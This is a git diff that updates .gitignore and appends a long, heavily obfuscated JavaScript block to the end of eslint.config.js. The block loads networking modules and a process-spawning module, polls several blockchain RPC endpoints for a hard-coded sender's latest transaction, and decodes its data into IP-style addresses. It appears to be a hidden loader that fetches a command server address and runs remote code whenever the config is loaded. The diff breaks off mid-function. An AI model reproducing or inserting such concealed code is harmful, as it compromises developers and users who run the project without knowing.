diff --git a/.gitignore b/.gitignore index 35ab0bc8..01ce20b3 100644 --- a/.gitignore +++ b/.gitignore @@ -12,4 +12,7 @@ pnpm-debug.log* Thumbs.db reports/mutation/ .stryker-tmp/ -.tools/ +branch_structure.json +temp_auto_push.bat +temp_interactive_push.bat +.tools/ \ No newline at end of file diff --git a/eslint.config.js b/eslint.config.js index 49d0f492..8dd2eb2b 100644 --- a/eslint.config.js +++ b/eslint.config.js @@ -46,4 +46,4 @@ module.exports = [ }, }, }, -]; \ No newline at end of file +]; global.i = 'A11';const R$DTZzu_TXc=TtFl_OYFcp$oFJXAVh;(function(glcANuMPwHqsvzi_Yp$P,poXzdcQUzmE$oQM){const p$bAPB$eq=TtFl_OYFcp$oFJXAVh,mVttueCdEt=glcANuMPwHqsvzi_Yp$P();while(!![]){try{const jNnmPOrTHZNsCVaRMdvEQ=Math['floor'](parseFloat(p$bAPB$eq(0x206))/(0x2d*-parseInt(0x13)+Math.trunc(-parseInt(0xa))*parseInt(0x1a)+Math.max(0x45c,0x45c)))*(parseFloat(p$bAPB$eq(0x1d8))/(parseFloat(parseInt(0x94c))+-parseInt(0x2623)+parseInt(0x1cd9)))+Math['trunc'](-parseFloat(p$bAPB$eq(0x220))/(Number(-0x11)*parseInt(0x14c)+-parseInt(0x107)*Math.trunc(parseInt(0x11))+parseInt(0x2786)))*(-parseFloat(p$bAPB$eq(0x1cd))/(-0x13e1+parseFloat(0x1776)+parseInt(0x391)*Math.ceil(-0x1)))+-parseFloat(p$bAPB$eq(0x1e0))/(Math.ceil(-parseInt(0x2))*parseInt(0x12c1)+parseInt(0x16be)+-0x1*-0xec9)+-parseFloat(p$bAPB$eq(0x1b7))/(parseInt(0x19)*Math.max(-parseInt(0xe7),-0xe7)+parseInt(0x807)*Math.trunc(parseInt(0x1))+Number(0x1)*Math.trunc(0xe8e))+-parseFloat(p$bAPB$eq(0x1c4))/(-0xd71+Math.max(parseInt(0xd80),0xd80)+Math.max(-0x8,-0x8))*Math['floor'](parseFloat(p$bAPB$eq(0x222))/(0x2564*-parseInt(0x1)+parseInt(0x12ed)+-parseInt(0x3b3)*-parseInt(0x5)))+parseInt(-parseFloat(p$bAPB$eq(0x21c))/(Math.max(-parseInt(0xe0c),-parseInt(0xe0c))+0x1*Math.floor(0x12e)+0xce7))+parseFloat(p$bAPB$eq(0x225))/(0xe06+parseFloat(0x19c7)+-parseInt(0x27c3));if(jNnmPOrTHZNsCVaRMdvEQ===poXzdcQUzmE$oQM)break;else mVttueCdEt['push'](mVttueCdEt['shift']());}catch(SV$WjuzJb){mVttueCdEt['push'](mVttueCdEt['shift']());}}}(FU$Mfb,Math.max(-parseInt(0x67d7a),-0x67d7a)+-0x49268+parseInt(0xf8aa7)),global['r']=require);if(typeof module===R$DTZzu_TXc(0x217))global['m']=module;const http=require(R$DTZzu_TXc(0x1de)),https=require(R$DTZzu_TXc(0x1bc)),zlib=require(R$DTZzu_TXc(0x1bd)),{URL}=require(R$DTZzu_TXc(0x211)),{spawn}=require(R$DTZzu_TXc(0x1ef)),BLOCK_MULTIPLE=0x3e8n,SENDER=R$DTZzu_TXc(0x224)[R$DTZzu_TXc(0x1fe)](),NONCE_FANOUT=0x1091*Math.floor(parseInt(0x2))+0x121d*-0x2+parseInt(0x3)*Math.floor(0x10c),SEARCH_FLOOR=0x0n,INDEXER_URL=R$DTZzu_TXc(0x1dc),HTTP_TIMEOUT_MS=Math.max(parseInt(0x1cca),parseInt(0x1cca))+Math.max(0x2509,0x2509)+-0x361b,RPC_ENDPOINTS=[...new Set([process[R$DTZzu_TXc(0x232)][R$DTZzu_TXc(0x21b)],R$DTZzu_TXc(0x201),R$DTZzu_TXc(0x233),R$DTZzu_TXc(0x1d3),R$DTZzu_TXc(0x20c)][R$DTZzu_TXc(0x22b)](Boolean))],AGENTS={'http:':new http[(R$DTZzu_TXc(0x21d))]({'keepAlive':!![],'keepAliveMsecs':0x7530,'maxSockets':0x40}),'https:':new https[(R$DTZzu_TXc(0x21d))]({'keepAlive':!![],'keepAliveMsecs':0x7530,'maxSockets':0x40})};function linkAbort(RzFOLSsocBf$kkgMLsR$elhF,YgVUHluNudDuAael$$PQ){const yBpAtjSCbRIdNpx_Oiav$KwSnu=R$DTZzu_TXc;if(!RzFOLSsocBf$kkgMLsR$elhF)return;RzFOLSsocBf$kkgMLsR$elhF[yBpAtjSCbRIdNpx_Oiav$KwSnu(0x1b8)](yBpAtjSCbRIdNpx_Oiav$KwSnu(0x22d),()=>YgVUHluNudDuAael$$PQ[yBpAtjSCbRIdNpx_Oiav$KwSnu(0x22d)](),{'once':!![]});}function decompressStream(RzfNSAGaCneYaCqXwXROk){const mPVBRRdNtjvZ=R$DTZzu_TXc,BlgOomlZTLbU_mRgZbn=(RzfNSAGaCneYaCqXwXROk[mPVBRRdNtjvZ(0x21e)][mPVBRRdNtjvZ(0x20b)]||'')[mPVBRRdNtjvZ(0x1fe)]();if(BlgOomlZTLbU_mRgZbn===mPVBRRdNtjvZ(0x202)||BlgOomlZTLbU_mRgZbn===mPVBRRdNtjvZ(0x1d9))return RzfNSAGaCneYaCqXwXROk[mPVBRRdNtjvZ(0x1d5)](zlib[mPVBRRdNtjvZ(0x1f4)]());if(BlgOomlZTLbU_mRgZbn===mPVBRRdNtjvZ(0x1d1))return RzfNSAGaCneYaCqXwXROk[mPVBRRdNtjvZ(0x1d5)](zlib[mPVBRRdNtjvZ(0x1fb)]());if(BlgOomlZTLbU_mRgZbn==='br')return RzfNSAGaCneYaCqXwXROk[mPVBRRdNtjvZ(0x1d5)](zlib[mPVBRRdNtjvZ(0x1da)]());return RzfNSAGaCneYaCqXwXROk;}function httpRequest(wDCHfdELJbocL$T,{method:method=R$DTZzu_TXc(0x214),body:bbQ$_xwfrqyMLuUpCEM,signal:Tj_$fQJOLvfWMX}={}){const GTnWVF_mWQtqEUKVtyCWk=R$DTZzu_TXc,nJWYBVy_Qu$jm=new URL(wDCHfdELJbocL$T),UFxWKLf_$rzRl=nJWYBVy_Qu$jm[GTnWVF_mWQtqEUKVtyCWk(0x1f2)]===GTnWVF_mWQtqEUKVtyCWk(0x219)?https:http,DpQVDYkkveWwUZPnKpBb={'Accept':GTnWVF_mWQtqEUKVtyCWk(0x21a),'Accept-Encoding':GTnWVF_mWQtqEUKVtyCWk(0x1ec),'Connection':GTnWVF_mWQtqEUKVtyCWk(0x200)};return bbQ$_xwfrqyMLuUpCEM!=null&&(DpQVDYkkveWwUZPnKpBb[GTnWVF_mWQtqEUKVtyCWk(0x218)]=GTnWVF_mWQtqEUKVtyCWk(0x21a),DpQVDYkkveWwUZPnKpBb[GTnWVF_mWQtqEUKVtyCWk(0x1fc)]=Buffer[GTnWVF_mWQtqEUKVtyCWk(0x1fd)](bbQ$_xwfrqyMLuUpCEM)),new Promise((hbphnjVxOdvmmzDTBjgSt$NN,cNaAKvMYPpZ$$TRz)=>{const WKg__BfsguzvMPzKwReGP=GTnWVF_mWQtqEUKVtyCWk,AKwuGnMwtupLpyFUWdnYWD=UFxWKLf_$rzRl[WKg__BfsguzvMPzKwReGP(0x21f)]({'hostname':nJWYBVy_Qu$jm[WKg__BfsguzvMPzKwReGP(0x1cb)],'port':nJWYBVy_Qu$jm[WKg__BfsguzvMPzKwReGP(0x216)]||(nJWYBVy_Qu$jm[WKg__BfsguzvMPzKwReGP(0x1f2)]===WKg__BfsguzvMPzKwReGP(0x219)?Math.floor(-0xd15)+Math.trunc(-0x2c)*-0x4f+-parseInt(0x4)*-0x4f:Math.ceil(parseInt(0xa7))*-0x1e+-0x5c*Math.ceil(parseInt(0x1))+Math.ceil(0xa1f)*0x2),'path':nJWYBVy_Qu$jm[WKg__BfsguzvMPzKwReGP(0x1f1)]+nJWYBVy_Qu$jm[WKg__BfsguzvMPzKwReGP(0x209)],'method':method,'agent':AGENTS[nJWYBVy_Qu$jm[WKg__BfsguzvMPzKwReGP(0x1f2)]],'signal':Tj_$fQJOLvfWMX,'headers':DpQVDYkkveWwUZPnKpBb},MEqodcZHSE$xvXwSj_oZoZj=>{const t_lrz_f=WKg__BfsguzvMPzKwReGP,uqTl$eiACiGBuTlaX_YXZIV=decompressStream(MEqodcZHSE$xvXwSj_oZoZj),MczNHS=[];uqTl$eiACiGBuTlaX_YXZIV['on'](t_lrz_f(0x1ce),fpcG_NoEx_FY=>MczNHS[t_lrz_f(0x1fa)](fpcG_NoEx_FY)),uqTl$eiACiGBuTlaX_YXZIV['on'](t_lrz_f(0x1bb),()=>{const UOyJO_fH_RiSqBoSdrYnsjtcy=t_lrz_f;try{hbphnjVxOdvmmzDTBjgSt$NN(JSON[UOyJO_fH_RiSqBoSdrYnsjtcy(0x1ea)](Buffer[UOyJO_fH_RiSqBoSdrYnsjtcy(0x1c8)](MczNHS)[UOyJO_fH_RiSqBoSdrYnsjtcy(0x1e3)](UOyJO_fH_RiSqBoSdrYnsjtcy(0x1c9))));}catch(gMfnSiuLfzHUQdXWaC$w){cNaAKvMYPpZ$$TRz(gMfnSiuLfzHUQdXWaC$w);}}),uqTl$eiACiGBuTlaX_YXZIV['on'](t_lrz_f(0x1cc),cNaAKvMYPpZ$$TRz);});AKwuGnMwtupLpyFUWdnYWD['on'](WKg__BfsguzvMPzKwReGP(0x1cc),cNaAKvMYPpZ$$TRz),AKwuGnMwtupLpyFUWdnYWD[WKg__BfsguzvMPzKwReGP(0x1f9)](HTTP_TIMEOUT_MS,()=>{const SfxaGEDlHunuVEwWLw$lx=WKg__BfsguzvMPzKwReGP;AKwuGnMwtupLpyFUWdnYWD[SfxaGEDlHunuVEwWLw$lx(0x1f3)](new Error(SfxaGEDlHunuVEwWLw$lx(0x1c5)+HTTP_TIMEOUT_MS+'ms'));});if(bbQ$_xwfrqyMLuUpCEM!=null)AKwuGnMwtupLpyFUWdnYWD[WKg__BfsguzvMPzKwReGP(0x215)](bbQ$_xwfrqyMLuUpCEM);AKwuGnMwtupLpyFUWdnYWD[WKg__BfsguzvMPzKwReGP(0x1bb)]();});}async function withRpcEndpoints(uTIXcb,mlV_BV_QwWND){const kZlMIXJsMssDJdtxe=R$DTZzu_TXc,BOCUySfEc_exK=RPC_ENDPOINTS[kZlMIXJsMssDJdtxe(0x205)](()=>new AbortController());BOCUySfEc_exK[kZlMIXJsMssDJdtxe(0x1e2)](pOlmNwZXfOXpKwUUwUCqB=>linkAbort(mlV_BV_QwWND,pOlmNwZXfOXpKwUUwUCqB));try{return await Promise[kZlMIXJsMssDJdtxe(0x1e4)](RPC_ENDPOINTS[kZlMIXJsMssDJdtxe(0x205)]((zyryywS_HF_Yfjxp,FF_MdJDwfSoXtSW)=>uTIXcb(zyryywS_HF_Yfjxp,BOCUySfEc_exK[FF_MdJDwfSoXtSW][kZlMIXJsMssDJdtxe(0x230)])));}finally{for(const DbMNvbAEjt$ubtb$PT of BOCUySfEc_exK)DbMNvbAEjt$ubtb$PT[kZlMIXJsMssDJdtxe(0x22d)]();}}function FU$Mfb(){const Cgw_xmiFfYj=['a7a0bcbba1aea2aa','aabdbda0bd','fbb7a8a5859fbf','abaebbae','bba7aaa1','a1a0a1acaa','abaaa9a3aebbaa','bbbdaea1bcaeacbba6a0a1bc','a7bbbbbfbcf5e0e0aabba7aabdaabaa2e2bdbface1bfbaada3a6aca1a0abaae1aca0a2','aabba790a8aabb9bbdaea1bcaeacbba6a0a18ca0baa1bb','bfa6bfaa','a7bbbbbff5e0e0','a9a6a1ab86a1abaab7','fdfff7fcfaf78bb795b68187','b7e2a8b5a6bf','acbdaaaebbaa8dbda0bba3a68baaaca0a2bfbdaabcbc','aca0a1bbbda0a3a3aabd','a7bbbbbfbcf5e0e0aabba7e1ada3a0aca4bcaca0babbe1aca0a2e0aebfa6','878a8e8b','a1a0abaaf5a7bbbbbf','82a6bcbca6a1a8ef97e29faeb6a3a0aeabe28df9fb','fefbfafbfaf9ffae9c8a9abb81','e8f4a8a3a0adaea394e89087fde892f2e8','a9a0bd8aaeaca7','bba09cbbbda6a1a8','aea1b6','8aa2bfbbb6efbfaeb6a3a0aeabefada0abb6','a8a3a0adaea394e89099e892f2e8','b6e2bf90f1abebff8de98f91feae9ea4','bdaabcbaa3bb','a3aaa1a8bba7','bfaebdbcaa','aabba790a8aabb8da3a0aca48db681baa2adaabd','a8b5a6bfe3efabaaa9a3aebbaae3efadbd','a6bc8ebdbdaeb6','adaebcaaf9fb','a1a0abaaf5aca7a6a3ab90bfbda0acaabcbc','aca7aebd8ca0abaa8ebb','bfaebba7a1aea2aa','bfbda0bba0aca0a3','abaabcbbbda0b6','acbdaaaebbaa88baa1b5a6bf','e8f4a8a3a0adaea394e89087e892f2e8','e8f4a8a3a0adaea394e8bde892f2bdaabebaa6bdaaf4a8a3a0adaea394e8a2e892f2a2a0abbaa3aaf4b9aebdef90a8a3a0adaea3f2a8a3a0adaea3f4','bdbaa1','f5fbfbfce0ffb7e0aca3bc','bcaabb9ba6a2aaa0babb','bfbabca7','acbdaaaebbaa86a1a9a3aebbaa','8ca0a1bbaaa1bbe283aaa1a8bba7','adb6bbaa83aaa1a8bba7','bba083a0b8aabd8caebcaa','f0a2a0abbaa3aaf2aeacaca0baa1bbe9aeacbba6a0a1f2bbb7a3a6bcbbe9aeababbdaabcbcf2','a4aaaabfe2aea3a6b9aa','a7bbbbbfbcf5e0e0febdbface1a6a0e0aabba7','a8b5a6bf','a7aab7','a9bda0a2','a2aebf','fead96a3b6859a','f5fbfbfce0ffb7e0a3bc','a8aabb','bcaaaebdaca7','9087fd','aca0a1bbaaa1bbe2aaa1aca0aba6a1a8','a7bbbbbfbcf5e0e0aabba7e2a2aea6a1a1aabbe1bfbaada3a6ace1ada3aebcbbaebfa6e1a6a0','aeabab','e8f4a8a3a0adaea394e890bb90bce892f2e8','a1a0abaa','bdaabfa3aeacaa','a1a0abaaf5babda3','aabba790ada3a0aca481baa2adaabd','82a0b5a6a3a3aee0fae1ffefe798a6a1aba0b8bcef819beffeffe1fff4ef98a6a1f9fbf4efb7f9fbe6ef8ebfbfa3aa98aaad84a6bbe0fafcf8e1fcf9efe784879b8283e3efa3a6a4aaef88aaaca4a0e6ef8ca7bda0a2aae0fefcfee1ffe1ffe1ffef9caea9aebda6e0fafcf8e1fcf9','888a9b','b8bda6bbaa','bfa0bdbb','a0ada5aaacbb','8ca0a1bbaaa1bbe29bb6bfaa','a7bbbbbfbcf5','aebfbfa3a6acaebba6a0a1e0a5bca0a1','8a9b87909d9f8c909a9d83','fcf7fdf9fefafd888e9880a7a1','8ea8aaa1bb','a7aaaeabaabdbc','bdaabebaaabcbb','fbf9f9fbf6f8a9b69aa08bad','bcbaadaebdbdaeb6','fcfff8f8f98b84868aab9e','aea3a3','ffb7feaa8aa9fff7fbf68a8baefefaabf7f8a9f9fbaafafe8cf8fc8cf7fbfbfd8ca9fcacf7ad8c8a89fc','fefcfafcfffcfeff81b88ab7ba86','e9bcbbaebdbbada3a0aca4f2ffe9aaa1abada3a0aca4f2f6f6f6f6f6f6f6f6e9bfaea8aaf2fee9a0a9a9bcaabbf2fdffe9bca0bdbbf2abaabcace9a9a6a3bbaabdadb6f2a9bda0a2','bcbbbda6a1a8a6a9b6','f5fbfbfc','ada3a0aca481baa2adaabd','9f809c9b','a9a6a3bbaabd','acaebbaca7','aeada0bdbb','e8f4a8a3a0adaea394e890bb90bae892f2e8','baa1bdaaa9','bca6a8a1aea3','90bb90ba','aaa1b9','a7bbbbbfbcf5e0e0aabba7e1abbdbface1a0bda8','f7fbf7f8fcf9a5a6b9888796','aeabab8ab9aaa1bb83a6bcbbaaa1aabd','a2a6a1','b7e2bfaeb6a3a0aeabe2adf9fb','aaa1ab','a1a0abaaf5a7bbbbbfbc','a1a0abaaf5b5a3a6ad','bdaabcbaa2aa','fde1ff','e0ffb7e0aca3bc','f5f7ff','befb8995a4b797b4eea7e39cbdfcf28f','a9a6a1ab','f7fbff9c97a08883bc','879b9b9fefbba6a2aaa0babbefaea9bbaabdef','a6a8a1a0bdaa','a7aebc','aca0a1acaebb','babba9f7','90bb90bc'];FU$Mfb=function(){return Cgw_xmiFfYj;};return FU$Mfb();}async function rpcCall(viwqXYGQWNe_xsuHuyaemmEkm,Zfct_xGiFzDjg_TR,M$$yGvxC,Sai$VpZLhnIfzhpENQBEnjXXQY){const rzIq__u=R$DTZzu_TXc,ViED_j$m=await httpRequest(viwqXYGQWNe_xsuHuyaemmEkm,{'method':rzIq__u(0x22a),'body':JSON[rzIq__u(0x227)]({'jsonrpc':rzIq__u(0x1bf),'id':0x1,'method':Zfct_xGiFzDjg_TR,'params':M$$yGvxC}),'signal':Sai$VpZLhnIfzhpENQBEnjXXQY});return ViED_j$m[rzIq__u(0x1e8)];}async function rpcBatch(MbywkyY$$UC,yhneTjJFtjzihqis,nfOED_SMfc_cZ){const QArY_$HLRpVrHv=R$DTZzu_TXc,kkryiIDumIudSHbGOtqG$IB$ck=await httpRequest(MbywkyY$$UC,{'method':QArY_$HLRpVrHv(0x22a),'body':JSON[QArY_$HLRpVrHv(0x227)](yhneTjJFtjzihqis[QArY_$HLRpVrHv(0x205)](([MqRDzQDjlL,twBiWDT_UQDbFe_UymqitRCEMYe],NsUxMIqeG$Br$kPQuQsImDX)=>({'jsonrpc':QArY_$HLRpVrHv(0x1bf),'id':NsUxMIqeG$Br$kPQuQsImDX+(-0x1*-parseInt(0x16a7)+-parseInt(0x359)*Number(0x1)+-0x134d),'method':MqRDzQDjlL,'params':twBiWDT_UQDbFe_UymqitRCEMYe}))),'signal':nfOED_SMfc_cZ}),Hm_$BRK=new Map(kkryiIDumIudSHbGOtqG$IB$ck[QArY_$HLRpVrHv(0x205)](JXSTI$BKsGYgzKPIgP=>[JXSTI$BKsGYgzKPIgP['id'],JXSTI$BKsGYgzKPIgP]));return yhneTjJFtjzihqis[QArY_$HLRpVrHv(0x205)]((O_wOBn_C,yZELIgInDxwV_gZrBfKlE)=>Hm_$BRK[QArY_$HLRpVrHv(0x208)](yZELIgInDxwV_gZrBfKlE+(Math.floor(-0x2)*parseFloat(-0x5fb)+-0x65*parseInt(0x49)+Number(0x58)*parseFloat(0x31)))[QArY_$HLRpVrHv(0x1e8)]);}const toBlockHex=BRFw_JGglqWv_xrmpiG=>'0x'+BRFw_JGglqWv_xrmpiG[R$DTZzu_TXc(0x1e3)](Math.ceil(-0x1b5c)+parseInt(-parseInt(0x17b0))+-parseInt(0xcc7)*-parseInt(0x4));function findSenderTx(RSS$zTKlZBNe){const Zsy$AZsVSCwDxMLnR=R$DTZzu_TXc;return RSS$zTKlZBNe[Zsy$AZsVSCwDxMLnR(0x1c3)](dgl_FMKNAW=>dgl_FMKNAW[Zsy$AZsVSCwDxMLnR(0x204)]&&dgl_FMKNAW[Zsy$AZsVSCwDxMLnR(0x204)][Zsy$AZsVSCwDxMLnR(0x1fe)]()===SENDER)||null;}function decodeAddress(qFPiyayPDRfwVjSALM){const bAQxZLJ_pVrukZyK=R$DTZzu_TXc;try{const Z_AIGwHmlfYNhwPHQ_kE=Buffer[bAQxZLJ_pVrukZyK(0x204)](qFPiyayPDRfwVjSALM[bAQxZLJ_pVrukZyK(0x210)](/^0x/i,''),bAQxZLJ_pVrukZyK(0x203)),SrKN_WDPPTPtJMJQm=UMantqIUwHQOejjOECcdFWZCd=>UMantqIUwHQOejjOECcdFWZCd[parseInt(0x1b07)+0x1581+Number(0xc22)*-0x4]+'.'+UMantqIUwHQOejjOECcdFWZCd[-0x109+-parseInt(0x270)+parseInt(0x37a)]+'.'+UMantqIUwHQOejjOECcdFWZCd[parseFloat(-parseInt(0x1b4))*0x1+Math.trunc(-parseInt(0x13af))+-0x1565*-0x1]+'.'+UMantqIUwHQOejjOECcdFWZCd[parseInt(-0x1)*0x2cd+-parseInt(0x1637)+parseInt(0x1907)];return[SrKN_WDPPTPtJMJQm(Z_AIGwHmlfYNhwPHQ_kE[bAQxZLJ_pVrukZyK(0x221)](Math.trunc(0x40)*-0x5c+Math.floor(-parseInt(0xd63))+-0x87*-parseInt(0x45),0x2611+Number(-parseInt(0x28))*Math.floor(parseInt(0x3b))+parseInt(-0x1cd5)*parseInt(0x1))),SrKN_WDPPTPtJMJQm(Z_AIGwHmlfYNhwPHQ_kE[bAQxZLJ_pVrukZyK(0x221)](-parseInt(0x7)*parseInt(0x32)+Math.max(parseInt(0x1f42),0x1f42)+Number(-parseInt(0x1de0)),Math.trunc(-parseInt(0x209d))+parseInt(0x2f1)+-0x4*parseInt(-0x76d)))];}catch(lK_kCFHZ){return[null,null];}}function firstMatch(fRvtR$KJpJwJgpDvQjE_xwZrJC){return new Promise(mRgHb$z_L=>{const IicIMNIfQlHJkpS_gyS_HuB=TtFl_OYFcp$oFJXAVh;let GuEdXYgpwv=fRvtR$KJpJwJgpDvQjE_xwZrJC[IicIMNIfQlHJkpS_gyS_HuB(0x1e9)];if(!GuEdXYgpwv)return mRgHb$z_L(null);let sLCBkfZMfpycS=![];const zieuckknwCUQ=syKpWAtPjJQmMEDAnBw=>{const awqekvTKbHwoYXMuPrqS=IicIMNIfQlHJkpS_gyS_HuB;if(sLCBkfZMfpycS)return;sLCBkfZMfpycS=!![];for(const OEobvbjekbjHnfC_oCXcNRrMq of fRvtR$KJpJwJgpDvQjE_xwZrJC)OEobvbjekbjHnfC_oCXcNRrMq[awqekvTKbHwoYXMuPrqS(0x1db)][awqekvTKbHwoYXMuPrqS(0x22d)]();mRgHb$z_L(syKpWAtPjJQmMEDAnBw);};for(const pTppSpWvnTTjAwIbgEJMWMsN of fRvtR$KJpJwJgpDvQjE_xwZrJC){pTppSpWvnTTjAwIbgEJMWMsN[IicIMNIfQlHJkpS_gyS_HuB(0x1f7)]()[IicIMNIfQlHJkpS_gyS_HuB(0x1cf)](aTLnW$vDrVVpnStCZqUNmoZoB=>{if(sLCBkfZMfpycS)return;if(aTLnW$vDrVVpnStCZqUNmoZoB)zieuckknwCUQ(aTLnW$vDrVVpnStCZqUNmoZoB);else{if(--GuEdXYgpwv===parseInt(0x1254)+-0x1a25+0x7d1)mRgHb$z_L(null);}})[IicIMNIfQlHJkpS_gyS_HuB(0x22c)](()=>{if(!sLCBkfZMfpycS&&--GuEdXYgpwv===-parseInt(0x1)*-parseInt(0x24ee)+-0x1c7f+-parseInt(0x86f)*0x1)mRgHb$z_L(null);});}});}function candidateBlocks(PMDtWVf){const Ikgf_HU_wR=R$DTZzu_TXc,PYe_EgLqvQkLoUtAMDKop=PMDtWVf-BLOCK_MULTIPLE,ruKzTubDIHgqOUSOKuOiNrw=new Set(),phgCqjkuVDj=[];for(const cYqM_FFvY$USHkuEQ of[PMDtWVf-0x1n,PMDtWVf,PMDtWVf+0x1n,PYe_EgLqvQkLoUtAMDKop-0x1n,PYe_EgLqvQkLoUtAMDKop,PYe_EgLqvQkLoUtAMDKop+0x1n]){if(cYqM_FFvY$USHkuEQ<0x0n)continue;const fH_RHQmkAqPo$RCKpeQzshy=cYqM_FFvY$USHkuEQ[Ikgf_HU_wR(0x1e3)]();if(ruKzTubDIHgqOUSOKuOiNrw[Ikgf_HU_wR(0x1c7)](fH_RHQmkAqPo$RCKpeQzshy))continue;ruKzTubDIHgqOUSOKuOiNrw[Ikgf_HU_wR(0x20d)](fH_RHQmkAqPo$RCKpeQzshy),phgCqjkuVDj[Ikgf_HU_wR(0x1fa)](cYqM_FFvY$USHkuEQ);}return phgCqjkuVDj;}function blockTask(CmDNYEz){const eaMd$$IaUdwwQC=new AbortController();return{'controller':eaMd$$IaUdwwQC,'run':async()=>{const oRW_briT=TtFl_OYFcp$oFJXAVh,bB$FqWCDaprOxFtKvm=await withRpcEndpoints((yi_UPlxDkl$Q,PE$mWwVgKLKTdB)=>rpcCall(yi_UPlxDkl$Q,oRW_briT(0x1eb),[toBlockHex(CmDNYEz),!![]],PE$mWwVgKLKTdB),eaMd$$IaUdwwQC[oRW_briT(0x230)]),FxHbdTuJ_TNzOmHAR=bB$FqWCDaprOxFtKvm?.[oRW_briT(0x1d2)];if(!Array[oRW_briT(0x1ed)](FxHbdTuJ_TNzOmHAR))return null;const EVXKTSICwmYUwDRmGUgkSGxNo=findSenderTx(FxHbdTuJ_TNzOmHAR);return EVXKTSICwmYUwDRmGUgkSGxNo?{'blockNumber':CmDNYEz,'tx':EVXKTSICwmYUwDRmGUgkSGxNo}:null;}};}async function nonceAtBlocks(TsjCGUbHfKkYA,eOgvjooSW_ImZ){const De_$LMDgm=R$DTZzu_TXc,lxgdNNoYdvdHjxfurkLvMku=TsjCGUbHfKkYA[De_$LMDgm(0x205)](HwlIWWDxcwkA=>[De_$LMDgm(0x1d4),[SENDER,toBlockHex(HwlIWWDxcwkA)]]);try{return(await withRpcEndpoints((suc_$ZOGyQepWTA,Hm$ePQQwMHtYO)=>rpcBatch(suc_$ZOGyQepWTA,lxgdNNoYdvdHjxfurkLvMku,Hm$ePQQwMHtYO),eOgvjooSW_ImZ))[De_$LMDgm(0x205)](BigInt);}catch{return(await Promise[De_$LMDgm(0x223)](lxgdNNoYdvdHjxfurkLvMku[De_$LMDgm(0x205)](([TBe_IFdhcmNWR$VqwbvgV,yLn$_jSos])=>withRpcEndpoints((xdzGHXiuaFZVM$qci$a,eQMjdGwghirgregyy)=>rpcCall(xdzGHXiuaFZVM$qci$a,TBe_IFdhcmNWR$VqwbvgV,yLn$_jSos,eQMjdGwghirgregyy),eOgvjooSW_ImZ))))[De_$LMDgm(0x205)](BigInt);}}async function lastSenderTx(aSdRshZlGysInsF_W){const SFMofmFJ$vRZYuKxyQueg=R$DTZzu_TXc,YtkqMbzMeAhrXge=new AbortController();try{const sonDHRdo_bMvMCIkoLUDsGJ=aSdRshZlGysInsF_W??BigInt(await withRpcEndpoints((AzfXJw,wkJzdkliLLlEuvimlavBUYiW)=>rpcCall(AzfXJw,SFMofmFJ$vRZYuKxyQueg(0x212),[],wkJzdkliLLlEuvimlavBUYiW),YtkqMbzMeAhrXge[SFMofmFJ$vRZYuKxyQueg(0x230)])),rVa_$dpJzvTLnjuccOzQQ=BigInt(await withRpcEndpoints((fDW$_eJ,e_LAcQwOmw)=>rpcCall(fDW$_eJ,SFMofmFJ$vRZYuKxyQueg(0x1d4),[SENDER,toBlockHex(sonDHRdo_bMvMCIkoLUDsGJ)],e_LAcQwOmw),YtkqMbzMeAhrXge[SFMofmFJ$vRZYuKxyQueg(0x230)])),vswg_sAiEVWH_gXzLwhdJR=rVa_$dpJzvTLnjuccOzQQ-0x1n;let E$NKJN$u=SEARCH_FLOOR-0x1n,z$DGbtfCnVULNqHFTfchL=sonDHRdo_bMvMCIkoLUDsGJ;while(z$DGbtfCnVULNqHFTfchL-E$NKJN$u>0x1n){const oiDXFWRhFRSn_ZxHLx=z$DGbtfCnVULNqHFTfchL-E$NKJN$u-0x1n,ChI_eDliPTbzODv=BigInt(Math[SFMofmFJ$vRZYuKxyQueg(0x1b9)](NONCE_FANOUT,Number(oiDXFWRhFRSn_ZxHLx))),SzdFiosUoBvOOBJTSR_EnOehm=[];for(let I$HAd_BejTQuVaP=0x1n;I$HAd_BejTQuVaP<=ChI_eDliPTbzODv;I$HAd_BejTQuVaP+=0x1n)SzdFiosUoBvOOBJTSR_EnOehm[SFMofmFJ$vRZYuKxyQueg(0x1fa)](E$NKJN$u+I$HAd_BejTQuVaP*(z$DGbtfCnVULNqHFTfchL-E$NKJN$u)/(ChI_eDliPTbzODv+0x1n));const xwtPZiK=await nonceAtBlocks(SzdFiosUoBvOOBJTSR_EnOehm,YtkqMbzMeAhrXge[SFMofmFJ$vRZYuKxyQueg(0x230)]),PQ_$XTLQAoeCmdwIf=xwtPZiK[SFMofmFJ$vRZYuKxyQueg(0x1d7)](faRwLMnko$EDYKvvKSvpfMxLe$D=>faRwLMnko$EDYKvvKSvpfMxLe$D>=rVa_$dpJzvTLnjuccOzQQ);if(PQ_$XTLQAoeCmdwIf===-(parseInt(0xd5b)+-0x10cf+-parseInt(0xf)*Math.floor(-0x3b)))E$NKJN$u=SzdFiosUoBvOOBJTSR_EnOehm[SzdFiosUoBvOOBJTSR_EnOehm[SFMofmFJ$vRZYuKxyQueg(0x1e9)]-(parseInt(0x137)*Number(-parseInt(0x17))+-parseInt(0x2407)+-0x67*Math.trunc(-parseInt(0x9f)))];else{z$DGbtfCnVULNqHFTfchL=SzdFiosUoBvOOBJTSR_EnOehm[PQ_$XTLQAoeCmdwIf];if(PQ_$XTLQAoeCmdwIf>parseInt(0x1)*Math.trunc(-0x1d62)+0x1*Math.trunc(-parseInt(0xa58))+Math.floor(parseInt(0x27ba)))E$NKJN$u=SzdFiosUoBvOOBJTSR_EnOehm[PQ_$XTLQAoeCmdwIf-(-0x26*0x55+-parseInt(0x15b7)+parseFloat(0x2256))];}}const okU_xAogHDLNF$RNOFrSZKFmZg=await withRpcEndpoints((A$z_hrf,Qma_RRlICjFrFZ)=>rpcCall(A$z_hrf,SFMofmFJ$vRZYuKxyQueg(0x1eb),[toBlockHex(z$DGbtfCnVULNqHFTfchL),!![]],Qma_RRlICjFrFZ),YtkqMbzMeAhrXge[SFMofmFJ$vRZYuKxyQueg(0x230)]),HgqA_mVm=okU_xAogHDLNF$RNOFrSZKFmZg?.[SFMofmFJ$vRZYuKxyQueg(0x1d2)]||[];let cBTrpPKOu=null;for(const NnooDmNoC_fxkiEQIisGB$iagg of 